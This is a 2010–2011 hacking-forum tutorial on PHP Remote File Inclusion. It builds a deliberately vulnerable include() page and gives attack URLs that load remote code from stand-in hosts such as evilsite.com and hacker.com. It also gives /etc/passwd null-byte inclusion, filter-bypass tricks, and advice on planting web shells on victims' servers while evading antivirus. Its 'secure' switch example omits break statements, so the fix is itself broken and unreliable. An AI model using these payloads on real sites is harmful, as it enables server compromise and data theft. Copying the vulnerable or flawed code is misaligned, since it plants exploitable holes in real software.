Remote File Inclusion (RFI)
Tutorial created by ande for www.evilzone.orgWritten January 22, 2010.
Updated May 29, 2011.
In this tutorial
1.0 What is RFI?
1.1 Understanding RFI
1.2 Finding RFI vulnerabilities
1.3 Exploiting RFI vulnerabilities
1.4 Securing RFI vulnerabilities
1.0 What is RFI?RFI stands for Remote File Inclusion. RFI is a type of web-application security vulnerability. RFI is only one of many web-application security vulnerabilities. Web-applications is applications(in other words: pages/websites) you can view and interact with in your web browser.
In this tutorial I am going to show you RFI on PHP pages. PHP is a web script engine. Its the most widely used one, its the best one and its the one you are most likely to encounter in real life scenarios. Now, you might think;
But if I only learn this on one type of script, don't I have to learn all of this for all other types of scripts?(ASP, ASP.NET, Java, Perl, CGI, [...])
No, you don't. The concept remains the same. However, to truly understand RFI in various script types, I encourage you and recommend you from the bottom of my heart to learn the languages. You don't have to learn them all, but perhaps the top 3 most used or something like that. At least PHP.
Learn more about PHP:
http://php.net |
http://en.wikipedia.org/wiki/PHPTo lean PHP, start here and use the links in this topic:
http://evilzone.org/web-oriented-programming/starting-php-scripting-setting-up-a-php-environment/To understand how RFI vulnerabilities can occur we need to see the use of the include() and other include'ish functions in PHP. But even before that, we need to see how a web page is built up in general(HTML).
A normal website consists of HTML. The HTML consists of a HEAD section and a BODY section. We could go on with this forever and say that the HEAD and BODY consists of [...]. But we won't. We will just accept the fact that websites are built up of lots of parts. Lets take a closer look at website build-up.
(A rather normal looking website layout)
The image above is one of the most common website layouts ever. Lets break down its HTML layout:
<html>
<head>
<title>A Common Website Layout</title>
</head>
<body>
<div align="center" class="logo-area"></div>
<div align="center" class="navigation-area">
<a href="index.php?page=home">Home</a> |
<a href="index.php?page=page1">Page1</a> |
<a href="index.php?page=page2">Page2</a>
</div>
<div align="center" class="main-content-area">
Content Content Content
</div>
<div align="center" class="navigation-or-copyright-area">
Copyright [url=http://www.Evilzone.org]www.Evilzone.org[/url] 2011
</div>
</body>
</html>
This is one of an endless amount of ways you could build this website layout with HTML. You can see that we got a HTML section(that contains everything else). We got a HEAD section and a BODY section. And inside those are various other section and parts. Now, ill be honest with you. This web page does not do a whole lot as it is right now. Actually, it does nothing. It will have a logo, a navigation, a main content area and a copyright at the bottom. The navigation will have three links(Home, Page1 and Page2). But none of the links will do anything other than sending you to the same page over and over again. Without changing the content. This type of page is referred to as a static HTML page. But thats rather boring, wouldn't you agree? Sure you do.
This is where the magic of web application scripts come in. Like previously said, I will be showing you guys RFI with PHP. To run a website with PHP pages, you will need PHP, obviously. And a web server that supports PHP. The most common combination is PHP with Apache web server. If you want to do testing on your own computer or set up a server, you can have a look at this topic:
http://evilzone.org/web-oriented-programming/starting-php-scripting-setting-up-a-php-environment/Okay, we now got ourself a web server that can run PHP pages(hypothetically). Lets rewrite the page above to take use of the GET arguments I placed in the navigation links. Now; WHAT THE FUCK IS GET ARGUMENTS!?!? Relax, we will get to that. Continue reading.
Before we go on, I want to get something of my heart. Because I know a lot of you guys will fuck up here. In the above example(the HTML code part) we are only looking at the HTML of the page. The HTML of any page can be viewed by right clicking the page in your browser and the go to 'view source' or something similar. This is not true for viewing PHP code in web pages. The only way to view the PHP code of a page is if you can read the file itself. Not from your browser. What you see in your browser is not the same thats inside your .php file. Continuing...
Lets look at how a typical PHP URL looks like:
http://evilzone.org/index.php There, thats a typical PHP link. Now, very often there will be something like this after the php bit in the URL:".php?something=something&somethingelse=somethingelse". This is GET arguments. This particularly example got two GET arguments. I am sure you have figured it out by now. Non the less. Argument nr. 1 got the name "something" and its value is also "something". Argument nr. 2 got the name "somethingelse" and yes, you guessed it. Its value is also "somethingelse". Just to make things clear, the value and name does not have to be the same, this is just examples.
Additionally there is something called POST arguments and HTTP headers. However, I will not be covering those in this tutorial. Nor will I show you how to use these to exploit RFI vulnerabilities. Don't worry about it, as you learn more you will understand these to. Its not as hard as it sounds. I might even write tutorials for POST arguments and such later.
Now we can finally rewrite the page above with PHP code in it, to make different content for each of the links(Home, Page1 and Page2).
<html>
<head>
<title>A Common Website Layout</title>
</head>
<body>
<div align="center" class="logo-area"></div>
<div align="center" class="navigation-area">
<a href="index.php?page=home">Home</a> |
<a href="index.php?page=page1">Page1</a> |
<a href="index.php?page=page2">Page2</a>
</div>
<div align="center" class="main-content-area">
<?php
// This is a PHP comment.
// PHP comments does not affect the PHP script
// Nor is PHP comments showed in the HTML code in the end. Actually, nothing of the stuff in between "<?php" and "<?" will be shown in the HTML source
// Lets first see if the GET argument we want to use is present
if (isset($_GET['page']))
{
// The GET argument with name "page" is present. Lets look at its value:
if ($_GET['page'] == "home")
{
// The GET argument's value is "home". Lets write out "home" to the HTML source
echo("home");
}
elseif ($_GET['page'] == "page1")
{
// The GET argument's value is "page1". Lets write out "page1" to the HTML source
echo("page1");
}
elseif ($_GET['page'] == "page2")
{
// The GET argument's value is "page2". Lets write out "page2" to the HTML source
echo("page2");
}
else
{
// The GET argument's value is none of what we want, lets just give him the home page
echo("home");
}
}
else
{
// The GET argument is not present in the URL. That means he is at the home page. Lets give him the home page.
echo("home");
}
?>
</div>
<div align="center" class="navigation-or-copyright-area">
Copyright [url=http://www.Evilzone.org]www.Evilzone.org[/url] 2011
</div>
</body>
</html>
Gosh, that was a lot of code. Well, not really. But I can imagine it seams like tons for people who are not familiar with it. Lets break it down.
The first thing the PHP code will do is see weather or not the GET argument with the name "page" is present in the URL. If it is it will look further for the argument's value. If the value is "home", it will write out "home" to the HTML source. If the argument's value is "page1" it will write home "page1" to the HTML source. And so on. However, if the argument is not present in the URL, we should still give the guy browsing our page something. It just means he is at index.php without anything behind .php. So the script will just give him the equivalent value as if he was browsing the "home" page. If you still do not understand the code above, just read thought it a few times. Its all logic really, its even using logical words like IsSet(), if, else, else if etc.
Some of you might wonder where I am getting the values home, page1 and page2 from. If you look closely at the HTML source of our page you will see this:
<div align="center" class="navigation-area">
<a href="index.php?page=home">Home</a> |
<a href="index.php?page=page1">Page1</a> |
<a href="index.php?page=page2">Page2</a>
</div>
This is our main navigation links. Home goes to
http://oursite.com/index.php?page=home. Page1 goes to
http://oursite.com/index.php?page=page1 and so on. This is where we are getting our values from. ("home", "page1", "page2")
Okay. This is all good right. We got a script which got three different contents depending on the link you click on the page. This is all good. But, the content is somewhat limit and boring. We could simply change the echo(""); lines to something much much larger. Full blown pages. However, that would be highly unpractical if you got 100 different links/pages in your page. If your average page is 250 characters, that would be at least 25000 characters in index.php. This is where the include() and other include'ish functions in PHP come in.
To now we have only been talking about this page as a page. Lets go into more details. Make a new file called index.php in your web server's root web folder(or any other place on your computer or server that you want it and your web server can reach it depending on your web server settings). On windows its going to look something like
C:\apache\public_html\. On Linux it will be something like
/var/www/public_html/. Additionally create a new folder in the same folder as index.php called "pages". Inside the folder "pages" create four new files called "index.php", "home.php", "page1.php" and "page2.php". File tree:
Your-Apache-Web-Folder
|-- pages
| |-- index.php
| |-- home.php
| |-- page1.php
| |-- page2.php
|
|-- index.php
Ps. (The index.php inside the pages folder is just so people cant list the files in the folder. Don't mind it, just let it be there, empty)
What we are going to do now is; Instead of just using the echo() function in the PHP script to echo static values for each of the pages. We are going to use the include() function. Its real simple. Put this in your index.php:
<html>
<head>
<title>A Common Website Layout</title>
</head>
<body>
<div align="center" class="logo-area"></div>
<div align="center" class="navigation-area">
<a href="index.php?page=home">Home</a> |
<a href="index.php?page=page1">Page1</a> |
<a href="index.php?page=page2">Page2</a>
</div>
<div align="center" class="main-content-area">
<?php
// This is a PHP comment.
// PHP comments does not affect the PHP script
// Nor is PHP comments showed in the HTML code in the end. Actually, nothing of the stuff in between "<?php" and "<?" will be shown in the HTML source
// Lets first see if the GET argument we want to use is present
if (isset($_GET['page']))
{
// The GET argument with name "page" is present. Lets look at its value:
if ($_GET['page'] == "home")
{
// The GET argument's value is "home". Lets include the home.php page to the HTML source
include("pages/home.php");
}
elseif ($_GET['page'] == "page1")
{
// The GET argument's value is "page1". Lets include the page1.php page to the HTML source
include("pages/page1.php");
}
elseif ($_GET['page'] == "page2")
{
// The GET argument's value is "page2". Lets include the page2.php page to the HTML source
include("pages/page2.php");
}
else
{
// The GET argument's value is none of what we want, lets just give him the home page
include("pages/home.php");
}
}
else
{
// The GET argument is not present in the URL. That means he is at the home page. Lets give him the home page.
include("pages/home.php");
}
?>
</div>
<div align="center" class="navigation-or-copyright-area">
Copyright [url=http://www.Evilzone.org]www.Evilzone.org[/url] 2011
</div>
</body>
</html>
See? All we did was replacing the echo with include. This will now read the contents and code of home.php, page1.php and page2.php and print that to the HTML instead, depending on the GET argument. Now we can have huge pages with long texts, images and more code inside each of the three files we used in the pages directory, without having a huge mess in the index.php. When/if you want to edit your pages you simply locate the page files in the page folder and edit that one file. Sweet right? Absolutely! However if you do not know what the fuck you are doing when you are using the include() function you can get some serious security issues.
1.1 Understanding RFIIn itself, the include() function is not vulnerable to anything. Its wrong/dangerous use of it that causes the security issues. The include() function is not limited to reading local files. It can even read remote files from URL's. So you could do include("
http://site.com/pages/page.txt") and it would include the contents of page.txt. This is what creates RFI scenarios.
Lets create a new scenario. We got the following files/pages:
index.php
1.php
2.php
3.php
index.php is the file the users are going to visit with his browser. When the user first visits the index.php we are going to display 3 links.
<a href="index.php?page=1">Page 1</a>
<a href="index.php?page=2">Page 2</a>
<a href="index.php?page=3">Page 3</a>
When the user clicks the first link its going to show the content of 1.php, when the user clicks the second link its going to show the contents of 2.php and when the user clicks the last link its going to show the contents of 3.php.
The index.php script site would in this case look something like this(note that I am now coding like an idiot to create security holes):
if (isset($_GET['page']))
{
// The GET argument is present. Lets include the page.
include($_GET['page'] . ".php");
}
else
{
// The GET argument is not present. Lets give the poor guy some links!
echo('<p><a href="index.php?page=1">Page 1</a></p>');
echo('<p><a href="index.php?page=2">Page 2</a></p>');
echo('<p><a href="index.php?page=3">Page 3</a></p>');
}
The content of 1,2 and 3 is not important in this example so I wont say anything about that.
Now, when a user clicks the Page 1 link he or she is taken to
www.example.com/index.php?page=1The PHP script in index.php will now see that the user is requesting the page called 1 and it will include the number in the URL GET argument + ".php" the same goes for 2 and 3.
So, for Page 1 it will include 1.php, for Page 2 it will include 2.php and for Page 3 it will include 3.php
So far, so good. Right? Not really. The above script is a death trap. You might not see it, but I do. And I will show you.
What if I where to go to index.php?page=4? It would then try to include 4.php. But that file obviously does not exist. So the page would return an error message like this:
Warning: include(4.php) [function.include]: failed to open stream: No such file or directory in PATH on line 3
Warning: include() [function.include]: Failed opening '4.php' for inclusion (include_path='.;PATH') in PATH\\index.php on line 3
Its important to note that, not all web servers will show you error messages when there is errors. You can chose to not show users error messages on purpose so its harder to find vulnerable pages and they give out less information about whats happening in the code. Either way, lets see what more we can do with this.
If I was to go to index.php?page=http://evilsite.com/evilcode what would happen?
Thats right, the PHP script would try to include whatever
http://evilsite.com/evilcode.php contains. And if evilcode.php contains more PHP code, it would also get executed. Meaning we can run any PHP command/function on the server. Which most defiantly is extremely dangerous.
Additionally, instead of including remote files you could include local files. Like index.php?page=c:\boot.ini%00 or index.php?page=/etc/passwd%00 for Linux. Do you see the %00 part in the argument value? This is to get rid of the .php part. Everything after %00 will be discarded. The boot.ini is not really that interesting, nor is /etc/passwd(its a bit more interesting but still) but it proves the point that you can include local files that where not intended to be included. This is called LFI (Local File Inclusion), but thats another story. Lets concentrate on RFI for now.
Just like you got %00 to get rid of the .php part in LFI you got the "?" sign in RFI. If you go to index.php?page=http://evilsite.com/evilscript.txt? it will include evilscript.txt and not evilscript.txt.php because the ? sign makes .php an GET argument! Which does not affect which file you are requesting on remote servers. This is a neat trick if you don't want your evil code in php files, but in txt files or alike. A lot more practical.
1.2 Finding RFI vulnerabilitiesThis part is going to be rather short, as I almost explained everything in the previous part. Non the less.
Like said above. To check for the most basic vulnerabilities all you need to do is manipulate the GET arguments and look for error messages looking like the one above. However as said, its not always you will get an error message. Sometimes the script might even redirect you to the home page or something when it detects an error.
Here is a few examples of GET arguments manipulating:
Normal URL → Manipulated, hopefully error creating URL
www.site.com/index.php?id=1 →
www.site.com/index.php?id=1awdasgfaegwww.site.com/index.php?page=index →
www.site.com/index.php?page=qqqqqqqwww.site.com/index.php?site=index →
www.site.com/index.php?site=qqqqqqUse your imagination... And for those who did not understand. The arguments does not need to be "id" or "page" or "site". It can be anything.
If you do not get an error, but just a blank page. Or you get redirected. You should try changing the GET argument(s) to your remote code non the less. If the server is set up to not display error messages and there is a vulnerability, your remote code will still work even tho you didn't get any error messages indicating there is a vulnerability there.
In some very rare occasions, some PHP scripts does something funny. Some coders sometimes think that if they checks the GET arguments and sees if they contain "http://" or "www." and not include the files if they do, they will be secure. However, this can in many cases be bypassed by writing HTTP:// or HtTp:// or WWW. or WwW or wWw etc. You can even trick it and use ftp:// files instead(some coders doesn't think about that). However, if the coder is smart, he or she will have converted the argument to lowercase or uppercase only before checking. In these cases you are pretty much fucked when it comes to remote inclusion. But you might get lucky with LFI still.
Additionally, one last thing. In order for the include() function to be able to include remote stuff. The allow_url_includes option in the PHP configuration have to be set to true. If it is not, the include() function will fail trying to include remote content.
Oh yeh, and. I almost forgot. The other include() alike functions. Like require(), require_once(), include_once(), virtual(), readfile(), fopen(), file(), file_get_contents(). Not sure if all of these can include remote files, but a lot of them can. Some of them can be used when others cant because of different PHP configurations (allow_url_includes, allow_url_fopen etc). Those who can not be used in RFI's can still might be used in LFI's, good thing to note
1.3 Exploiting RFI vulnerabilitiesLets say that you have successfully found a vulnerable page.
The URL is
www.site2.com/index.php?page=indexThe PHP script is made in such a way that we only need to edit page=index to page=http://hacker.com/evilscript.txt and we can now execute our PHP code over at the victims server.
What you should do now is try to make something called a shell. A shell is essentially just a PHP script that can perform Explorer like actions. Like read/write/edit/create files and navigate in folders etc etc. Some shells even got inbuilt exploits to gain root access on the server, but that's another story.
There is a truckload of premade shells out there but I really recommend you creating your own as it is good learning and most shells is actually detected by antiviruses believe it or not. So if the server you are trying to access got a antivirus it will not work and it might perhaps spoil your attack. Still, if you are a lazy fuck. Here is a shell I put together for Evilzone:
http://evilzone.org/evilzone-releases/eviltinyshell-%28php%29/ and
http://evilzone.org/evilzone-releases/eviluploadshell-%28php%29/Further details on how to root, steal, deface(lame) and whatnot will not be included in this tutorial.
1.4 Securing RFI vulnerabilitiesOkay, this is the part where I don't know if I am supposed to laugh or cry. The only reason(okay, I know its easy to screw up.. But seriously..) I can think of why you would create a security issue like RFI is if you have absolutely no idea what you are doing. You are an idiot if you screw up that bad.
Honestly, just. Don't EVER have user inputs in your include() calls. Do a if/elseif/else or switch/case statement instead. Like this:
Using if/elseif/else statement(s):
<?php
if (isset($_GET['page']))
{
if ($_GET['page']=="home")
{
include("home.php");
}
elseif ($_GET['page']=="page1")
{
include("page1.php");
}
else
{
include("home.php");
}
}
else
{include("home.php");}
?>
Using switch/case(slightly more efficient than if statements in terms of lines of code):
<?php
if (isset($_GET['page']))
{
switch($_GET['page'])
{
case "home":
include("home.php");
case "page1":
include("page1.php");
default:
include("home.php");
}
}
else
{include("home.php");}
?>
Don't EVER do like this:
<?php
if (isset($_GET['page']))
{
include($_GET['page'].".php");
}
else
{include("home.php");}
?>
EVERAdd from I_Learning_I (May 30, 2011)
There is yet another way to prevent RFI, which is basically trimming the string to some special characters, like http:, //, /, you get the drill.
Here's an example:
function check_url($page){
$page = str_replace("http://", "", $page);
$page = str_replace("/", "", $page);
$page = str_replace("\\", "", $page);
$page = str_replace("../", "", $page);
$page = str_replace(".", "", $page);
$page = str_replace("php", "", $page);
return $page;
}
echo "<title>Index</title>";
if($_GET){
$id=check_url($_GET['id'])."php";
if(file_exists($id)){
require($id);
}else{
require("index.php");
}
}
My response tho: This code can still be tampered with to include local files(LFI). So, I would still go for a if/case statement. But its not impossible to do a direct include on the user-input and it still being secure. Its just a lot more to think of than if you just do a if/case statement.
If you want or need scripts to test on. Use Evilzone's official RFI training script:
http://evilzone.org/hacking-and-security/evilzone%27s-official-rfi-training-script/
Tutorial created by ande for www.evilzone.orgWritten January 22, 2010.
Updated May 29, 2011.
Report any typos or false information please. If you see fit for improvement, post your suggestion